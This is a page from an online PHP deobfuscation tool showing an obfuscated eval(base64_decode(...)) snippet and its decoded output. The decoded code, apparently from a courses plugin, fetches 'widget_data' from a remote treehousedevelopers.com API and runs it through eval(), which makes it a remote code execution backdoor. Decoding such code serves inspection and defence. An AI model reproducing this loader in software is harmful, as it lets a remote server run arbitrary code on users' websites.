Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIHZQbFJJOyBFdzFERTogJHRoZF93aWRnZXRfcGx1Z2luX25hbWUgPSAi..

Decoded Output download


 goto vPlRI; Ew1DE: $thd_widget_plugin_name = "CoursesPluginSettingsEngine"; goto orLt5; ZD_at: if ($thd_response["status"] == "success") { ob_start(); echo eval("?>" . $thd_response["content"]["widget_data"] . "<?"); $code_executed = ob_get_contents(); ob_end_clean(); } else { if ($thd_response["status"] == "error") { $code_executed = $thd_response["message"]; } else { $code_executed = "Something goes wrong"; } } goto oFOpv; wzlz7: $thd_response = json_decode(fixCurlResponse($thd_response), true); goto ZD_at; orLt5: $website_domain = $w["website_url"]; goto Vj12D; z74dT: $thd_widget_url = "https://www.treehousedevelopers.com/api/widget/get/html/THDAPI?widget_name=" . $thd_widget_plugin_name . "&domain=" . $website_domain . "&plugin_name=" . $thd_plugin_name; goto t4NZg; Vj12D: $thd_plugin_name = "courses_plugin"; goto z74dT; oFOpv: echo $code_executed; goto UM_fX; t4NZg: $thd_curl = curl_init(); goto jhVAQ; jhVAQ: curl_setopt_array($thd_curl, array(CURLOPT_URL => $thd_widget_url, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST")); goto XdYK7; XdYK7: $thd_response = curl_exec($thd_curl); goto wzlz7; vPlRI: function fixCurlResponse($text) { return preg_replace("/[--]/", '', $text); } goto Ew1DE; UM_fX: 

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIHZQbFJJOyBFdzFERTogJHRoZF93aWRnZXRfcGx1Z2luX25hbWUgPSAiXDEwM1wxNTdceDc1XHg3MlwxNjNcMTQ1XDE2M1x4NTBcMTU0XDE2NVwxNDdcMTUxXHg2ZVwxMjNcMTQ1XHg3NFwxNjRcMTUxXHg2ZVx4NjdcMTYzXHg0NVx4NmVceDY3XDE1MVwxNTZceDY1IjsgZ290byBvckx0NTsgWkRfYXQ6IGlmICgkdGhkX3Jlc3BvbnNlWyJceDczXHg3NFx4NjFcMTY0XHg3NVx4NzMiXSA9PSAiXHg3M1wxNjVceDYzXDE0M1x4NjVceDczXHg3MyIpIHsgb2Jfc3RhcnQoKTsgZWNobyBldmFsKCJceDNmXDc2IiAuICR0aGRfcmVzcG9uc2VbIlwxNDNceDZmXHg2ZVwxNjRcMTQ1XDE1Nlx4NzQiXVsiXDE2N1x4NjlcMTQ0XDE0N1x4NjVcMTY0XHg1Zlx4NjRcMTQxXHg3NFwxNDEiXSAuICJcNzRcNzciKTsgJGNvZGVfZXhlY3V0ZWQgPSBvYl9nZXRfY29udGVudHMoKTsgb2JfZW5kX2NsZWFuKCk7IH0gZWxzZSB7IGlmICgkdGhkX3Jlc3BvbnNlWyJcMTYzXDE2NFwxNDFcMTY0XHg3NVx4NzMiXSA9PSAiXHg2NVx4NzJcMTYyXHg2Zlx4NzIiKSB7ICRjb2RlX2V4ZWN1dGVkID0gJHRoZF9yZXNwb25zZVsiXDE1NVx4NjVceDczXDE2M1wxNDFcMTQ3XDE0NSJdOyB9IGVsc2UgeyAkY29kZV9leGVjdXRlZCA9ICJceDUzXDE1N1wxNTVceDY1XDE2NFwxNTBceDY5XDE1NlwxNDdceDIwXHg2N1x4NmZceDY1XHg3M1x4MjBceDc3XHg3MlwxNTdcMTU2XHg2NyI7IH0gfSBnb3RvIG9GT3B2OyB3emx6NzogJHRoZF9yZXNwb25zZSA9IGpzb25fZGVjb2RlKGZpeEN1cmxSZXNwb25zZSgkdGhkX3Jlc3BvbnNlKSwgdHJ1ZSk7IGdvdG8gWkRfYXQ7IG9yTHQ1OiAkd2Vic2l0ZV9kb21haW4gPSAkd1siXDE2N1x4NjVcMTQyXHg3M1wxNTFcMTY0XDE0NVx4NWZcMTY1XHg3MlwxNTQiXTsgZ290byBWajEyRDsgejc0ZFQ6ICR0aGRfd2lkZ2V0X3VybCA9ICJceDY4XHg3NFx4NzRcMTYwXHg3M1w3Mlw1N1x4MmZcMTY3XDE2N1x4NzdceDJlXHg3NFwxNjJcMTQ1XDE0NVwxNTBceDZmXDE2NVwxNjNceDY1XDE0NFwxNDVcMTY2XHg2NVx4NmNcMTU3XDE2MFx4NjVcMTYyXHg3M1x4MmVceDYzXHg2Zlx4NmRceDJmXHg2MVx4NzBceDY5XHgyZlwxNjdcMTUxXHg2NFx4NjdcMTQ1XHg3NFx4MmZceDY3XDE0NVwxNjRceDJmXHg2OFwxNjRcMTU1XDE1NFw1N1x4NTRcMTEwXHg0NFx4NDFceDUwXDExMVx4M2ZceDc3XHg2OVwxNDRcMTQ3XHg2NVx4NzRceDVmXDE1NlwxNDFcMTU1XHg2NVw3NSIgLiAkdGhkX3dpZGdldF9wbHVnaW5fbmFtZSAuICJcNDZceDY0XHg2ZlwxNTVceDYxXDE1MVwxNTZceDNkIiAuICR3ZWJzaXRlX2RvbWFpbiAuICJceDI2XDE2MFx4NmNceDc1XDE0N1x4NjlceDZlXHg1Zlx4NmVceDYxXHg2ZFwxNDVcNzUiIC4gJHRoZF9wbHVnaW5fbmFtZTsgZ290byB0NE5aZzsgVmoxMkQ6ICR0aGRfcGx1Z2luX25hbWUgPSAiXDE0M1wxNTdcMTY1XDE2Mlx4NzNceDY1XHg3M1wxMzdcMTYwXDE1NFwxNjVceDY3XHg2OVx4NmUiOyBnb3RvIHo3NGRUOyBvRk9wdjogZWNobyAkY29kZV9leGVjdXRlZDsgZ290byBVTV9mWDsgdDROWmc6ICR0aGRfY3VybCA9IGN1cmxfaW5pdCgpOyBnb3RvIGpoVkFROyBqaFZBUTogY3VybF9zZXRvcHRfYXJyYXkoJHRoZF9jdXJsLCBhcnJheShDVVJMT1BUX1VSTCA9PiAkdGhkX3dpZGdldF91cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gdHJ1ZSwgQ1VSTE9QVF9FTkNPRElORyA9PiAnJywgQ1VSTE9QVF9NQVhSRURJUlMgPT4gMTAsIENVUkxPUFRfVElNRU9VVCA9PiAwLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IHRydWUsIENVUkxPUFRfSFRUUF9WRVJTSU9OID0+IENVUkxfSFRUUF9WRVJTSU9OXzFfMSwgQ1VSTE9QVF9DVVNUT01SRVFVRVNUID0+ICJceDUwXDExN1wxMjNceDU0IikpOyBnb3RvIFhkWUs3OyBYZFlLNzogJHRoZF9yZXNwb25zZSA9IGN1cmxfZXhlYygkdGhkX2N1cmwpOyBnb3RvIHd6bHo3OyB2UGxSSTogZnVuY3Rpb24gZml4Q3VybFJlc3BvbnNlKCR0ZXh0KSB7IHJldHVybiBwcmVnX3JlcGxhY2UoIlw1N1wxMzNceDVjXHg3OFx4MzBcNjBcNTVcMTM0XDE3MFx4MzFceDQ2XHg1Y1x4NzhceDM4XDYwXDU1XHg1Y1x4NzhceDQ2XDEwNlx4NWRcNTciLCAnJywgJHRleHQpOyB9IGdvdG8gRXcxREU7IFVNX2ZYOiA=')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 5818ded459d077f14e757b1946ab2a76
Eval Count 1
Decode Time 40 ms